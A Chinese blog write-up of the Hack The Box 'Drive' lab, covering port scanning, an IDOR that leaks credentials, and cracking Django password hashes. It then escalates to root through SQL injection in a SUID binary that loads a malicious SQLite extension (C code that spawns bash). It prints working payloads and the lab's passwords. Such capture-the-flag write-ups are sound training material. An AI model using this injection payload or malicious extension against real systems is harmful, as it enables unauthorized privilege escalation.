HTB Drive WriteUp

User

Nmap

┌──(root💀kali)-[~]
└─# nmap -A --min-rate 10000 10.10.11.235
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-16 15:05 EDT
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Stats: 0:02:34 elapsed; 0 hosts completed (1 up), 1 undergoing Traceroute
Traceroute Timing: About 32.26% done; ETC: 15:08 (0:00:00 remaining)
Nmap scan report for bogon (10.10.11.235)
Host is up (0.53s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE    SERVICE    VERSION
22/tcp   open     tcpwrapped
| ssh-hostkey:
|   3072 275a9fdb91c316e57da60d6dcb6bbd4a (RSA)
|   256 9d076bc847280df29f81f2b8c3a67853 (ECDSA)
|_  256 1d30349f797369bdf667f3343c1ff94e (ED25519)
80/tcp   open     tcpwrapped
|_http-title: Did not follow redirect to http://drive.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp filtered ppp
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=10/16%OT=80%CT=1%CU=30774%PV=Y%DS=2%DC=T%G=Y%TM=652D8A
OS:2C%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=8)OP
OS:S(O1=M537ST11NW7%O2=M537ST11NW7%O3=M537NNT11NW7%O4=M537ST11NW7%O5=M537ST
OS:11NW7%O6=M537ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC
OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M537NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Network Distance: 2 hops

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   346.30 ms bogon (10.10.16.1)
2   346.42 ms bogon (10.10.11.235)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 178.70 seconds

drive.htb 加入hosts文件

80-Web

80是一个 web 经过简单查看分析
image.png
这是一个django搭建的web系统
这上面有几个功能点,上传文件,存储文件,取消存储文件,查看文件内容

image.png
image.png
点击这里,存储文件
image.png
我们进入这个页面,点击just View 可以看到文件内容,再仔细看看url,/113/block
113这个参数想到是否可以越权读取别人上传的文件内容呢

IDOR

image.png
可以看到有好几个不同长度的回显
image.png
image.png

martin : Xk4@KjyrYv8t194L!

image.png这里说到数据库会自动备份,然后会被一个强密码所保护

martin

image.png

martin : Xk4@KjyrYv8t194L!
用这个密码成功登录

image.png
在web目录下旁边的backups文件夹下,有好几个文件,应该是备份文件和现在用的db文件, 把db文件拿下来
image.png
可以拿到这些铭感信息
image.png
可以看到cris和tom也是有bash权限的优先爆破他们两个的hash
image.png
尝试密码复用,失败

尝试解压7z压缩包,发现需要密码,正如前面收集的信息一样需要一个密码

回到初始收集的信息,3000端口,有git用户,很大概率是使用了gitea启动本地git服务

gitea

我们直接访问,访问不了,搭建代理后,再次尝试访问
image.png
image.png
在探索里面,看到有两个用户,其中一个叫martinCruz 和 我们ssh martin名字很像,使用相同密码,发现可以登录
image.png
在这里面,我们拿到了web站的源代码,其中db_backup.sh 里面有解压密码

#!/bin/bash
DB=$1
date_str=$(date +'%d_%b')
7z a -p'H@ckThisP@ssW0rDIfY0uC@n:)' /var/www/backups/${date_str}_db_backup.sqlite3.7z db.sqlite3
cd /var/www/backups/
ls -l --sort=t *.7z > backups_num.tmp
backups_num=$(cat backups_num.tmp | wc -l)
if [[ $backups_num -gt 10 ]]; then
      #backups is more than 10... deleting to oldest backup
      rm $(ls  *.7z --sort=t --color=never | tail -1)
      #oldest backup deleted successfully!
fi
rm backups_num.tmp

crack hash

image.png
该web是通过django搭建的,在hashcat对应两种算法

image.png

使用第一种算法的最新的12月的备份即Dec 的备份,crack不出,其他几个爆破可以

tom
cris
martin
john boy
johniscool
johnmayer7

用户名和密码 用 crackexec 爆破
image.png
成功爆破,从而拿下userflag

tom:johnmayer7

Root

image.png
用户目录下有这个玩意,带了suid

tom@drive:~$ cat README.txt
Hi team
after the great success of DoodleGrive, we are planning now to start working on our new project: "DoodleGrive self hosted",it will allow our customers to deploy their own documents sharing platform privately on thier servers...
However in addition with the "new self Hosted release" there should be a tool(doodleGrive-cli) to help the IT team in monitoring server status and fix errors that may happen.
As we mentioned in the last meeting the tool still in the development phase and we should test it properly...
We sent the username and the password in the email for every user to help us in testing the tool and make it better.
If you face any problem, please report it to the development team.
Best regards.

里面说这个cli还在处于开发阶段,所以很有可能有漏洞

image.png
拖到本地分析一下

ida-reverse

image.png
在main函数里面看到了,校验的账号和密码
moriarty: findMeIfY0uC@nMr.Holmz!

image.png

image.png
activate_user_account 这个函数里面,我们可以看到存在sql注入,那么我们如何执行命令呢?

sqlite3-inject-LoadExtensions

Refer:https://sqlite.org/loadext.html
Refer:https://blog.csdn.net/qq_34101364/article/details/109250435

image.png

e.so

/* Add your header comment here */
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
SQLITE_EXTENSION_INIT1

/* Insert your extension code here */

#ifdef _WIN32
__declspec(dllexport)
    #endif
    /* TODO: Change the entry point name so that "extension" is replaced by
** text derived from the shared library filename as follows:  Copy every
** ASCII alphabetic character from the filename after the last "/" through
** the next following ".", converting each character to lowercase, and
** discarding the first three characters if they are "lib".
*/
    int sqlite3_extension_init(
    sqlite3 *db, 
    char **pzErrMsg, 
    const sqlite3_api_routines *pApi
){
    int rc = SQLITE_OK;
    SQLITE_EXTENSION_INIT2(pApi);
    system("/bin/bash");
    /* Insert here calls to
  **     sqlite3_create_function_v2(),
  **     sqlite3_create_collation_v2(),
  **     sqlite3_create_module_v2(), and/or
  **     sqlite3_vfs_register()
  ** to register the new features that your extension adds.
  */
    return rc;
}

这个扩展就是直接执行一个bash
image.png

"+load_extension(char(46,47,101))--;
46,47,101 对应就是./e因为我传上去的扩展叫 e.so,他会自动在路径后面添加.so
之所以这里要用char,是因为直接使用"好像是会被这个函数拦截
image.png

summary

user 使用 IDOR漏洞找到突破口,一开始还以为是ssti啥的,通过whatweb可以知道后端是用django写的
在破解hash时,不知道类型,可以用hashcat -h 进行检索 hashcat -h | grep django
root 提权用到了 sqlite 的一个扩展,但是好像intented way 是 用pwn的方式去打

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Som3B0dy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值